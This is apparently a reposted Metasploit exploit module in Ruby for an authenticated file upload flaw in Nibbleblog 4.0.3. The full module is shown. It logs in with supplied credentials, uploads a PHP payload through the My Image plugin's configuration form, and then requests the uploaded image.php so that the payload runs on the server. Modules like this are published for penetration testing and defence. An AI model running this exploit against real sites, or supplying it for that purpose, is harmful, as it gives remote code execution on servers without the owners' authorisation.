Home / os / winmobile

Nibbleblog File Upload

Posted on 19 October 2015

##
# This module requires Metasploit: http://www.metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpClient
 include Msf::Exploit::FileDropper

 def initialize(info = {})
 super(update_info(
 info,
 'Name' => 'Nibbleblog File Upload Vulnerability',
 'Description' => %q{
 Nibbleblog contains a flaw that allows a authenticated remote
 attacker to execute arbitrary PHP code. This module was
 tested on version 4.0.3.
 },
 'License' => MSF_LICENSE,
 'Author' =>
 [
 'Unknown', # Vulnerability Disclosure - Curesec Research Team. Author's name?
 'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit Module
 ],
 'References' =>
 [
 ['URL', 'http://blog.curesec.com/article/blog/NibbleBlog-403-Code-Execution-47.html']
 ],
 'DisclosureDate' => 'Sep 01 2015',
 'Platform' => 'php',
 'Arch' => ARCH_PHP,
 'Targets' => [['Nibbleblog 4.0.3', {}]],
 'DefaultTarget' => 0
 ))

 register_options(
 [
 OptString.new('TARGETURI', [true, 'The base path to the web application', '/']),
 OptString.new('USERNAME', [true, 'The username to authenticate with']),
 OptString.new('PASSWORD', [true, 'The password to authenticate with'])
 ], self.class)
 end

 def username
 datastore['USERNAME']
 end

 def password
 datastore['PASSWORD']
 end

 def check
 cookie = do_login(username, password)
 return Exploit::CheckCode::Detected unless cookie

 res = send_request_cgi(
 'method' => 'GET',
 'uri' => normalize_uri(target_uri.path, 'admin.php'),
 'cookie' => cookie,
 'vars_get' => {
 'controller' => 'settings',
 'action' => 'general'
 }
 )

 if res && res.code == 200 && res.body.include?('Nibbleblog 4.0.3 "Coffee"')
 return Exploit::CheckCode::Appears
 end
 Exploit::CheckCode::Safe
 end

 def do_login(user, pass)
 res = send_request_cgi(
 'method' => 'GET',
 'uri' => normalize_uri(target_uri.path, 'admin.php')
 )

 fail_with(Failure::Unreachable, 'No response received from the target.') unless res

 session_cookie = res.get_cookies
 vprint_status("#{peer} - Logging in...")
 res = send_request_cgi(
 'method' => 'POST',
 'uri' => normalize_uri(target_uri.path, 'admin.php'),
 'cookie' => session_cookie,
 'vars_post' => {
 'username' => user,
 'password' => pass
 }
 )

 return session_cookie if res && res.code == 302 && res.headers['Location']
 nil
 end

 def exploit
 unless [ Exploit::CheckCode::Detected, Exploit::CheckCode::Appears ].include?(check)
 print_error("Target does not appear to be vulnerable.")
 return
 end

 vprint_status("#{peer} - Authenticating using #{username}:#{password}")

 cookie = do_login(username, password)
 fail_with(Failure::NoAccess, 'Unable to login. Verify USERNAME/PASSWORD or TARGETURI.') if cookie.nil?
 vprint_good("#{peer} - Authenticated with Nibbleblog.")

 vprint_status("#{peer} - Preparing payload...")
 payload_name = "#{Rex::Text.rand_text_alpha_lower(10)}.php"

 data = Rex::MIME::Message.new
 data.add_part('my_image', nil, nil, 'form-data; name="plugin"')
 data.add_part('My image', nil, nil, 'form-data; name="title"')
 data.add_part('4', nil, nil, 'form-data; name="position"')
 data.add_part('', nil, nil, 'form-data; name="caption"')
 data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name="image"; filename="#{payload_name}"")
 data.add_part('1', nil, nil, 'form-data; name="image_resize"')
 data.add_part('230', nil, nil, 'form-data; name="image_width"')
 data.add_part('200', nil, nil, 'form-data; name="image_height"')
 data.add_part('auto', nil, nil, 'form-data; name="image_option"')
 post_data = data.to_s

 vprint_status("#{peer} - Uploading payload...")
 res = send_request_cgi(
 'method' => 'POST',
 'uri' => normalize_uri(target_uri, 'admin.php'),
 'vars_get' => {
 'controller' => 'plugins',
 'action' => 'config',
 'plugin' => 'my_image'
 },
 'ctype' => "multipart/form-data; boundary=#{data.bound}",
 'data' => post_data,
 'cookie' => cookie
 )

 if res && /Call to a member function getChild() on a non-object/ === res.body
 fail_with(Failure::Unknown, 'Unable to upload payload. Does the server have the My Image plugin installed?')
 elsif res && !( res.body.include?('<b>Warning</b>') || res.body.include?('warn') )
 fail_with(Failure::Unknown, 'Unable to upload payload.')
 end

 vprint_good("#{peer} - Uploaded the payload.")

 php_fname = 'image.php'
 payload_url = normalize_uri(target_uri.path, 'content', 'private', 'plugins', 'my_image', php_fname)
 vprint_status("#{peer} - Parsed response.")

 register_files_for_cleanup(php_fname)
 vprint_status("#{peer} - Executing the payload at #{payload_url}.")
 send_request_cgi(
 'uri' => payload_url,
 'method' => 'GET'
 )
 end
end

 

TOP